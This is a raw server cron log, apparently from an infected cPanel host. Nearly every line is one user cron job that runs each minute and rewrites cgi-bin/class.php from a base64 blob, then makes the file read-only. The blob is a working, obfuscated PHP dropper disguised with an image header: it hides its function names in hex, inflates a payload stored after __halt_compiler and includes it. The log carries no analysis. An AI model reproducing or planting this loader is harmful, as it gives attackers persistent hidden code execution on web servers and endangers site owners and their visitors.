Nov 12 14:28:01 server CROND[7991]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 14:29:01 server CROND[8676]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 14:30:01 server CROND[9442]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 14:30:01 server CROND[9443]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 12 14:30:01 server CROND[9444]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 14:30:01 server CROND[9445]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 14:31:01 server CROND[10322]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 14:32:01 server CROND[10954]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 14:33:01 server CROND[11402]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 14:34:01 server CROND[12220]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 14:35:01 server CROND[13056]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 14:35:01 server CROND[13058]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 12 14:35:01 server CROND[13067]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 14:35:01 server CROND[13066]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 14:35:01 server CROND[13069]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check &amp;&amp; /usr/local/cpanel/bin/tail-check)
Nov 12 14:36:01 server CROND[13942]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 14:37:01 server CROND[14863]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 14:38:01 server CROND[15687]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 14:39:01 server CROND[16518]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 12 14:39:01 server CROND[16519]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 14:40:01 server CROND[17337]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 14:40:01 server CROND[17338]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 14:40:01 server CROND[17336]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 14:40:01 server CROND[17340]: (root) CMD (/usr/lib64/sa/sa1 1 1)
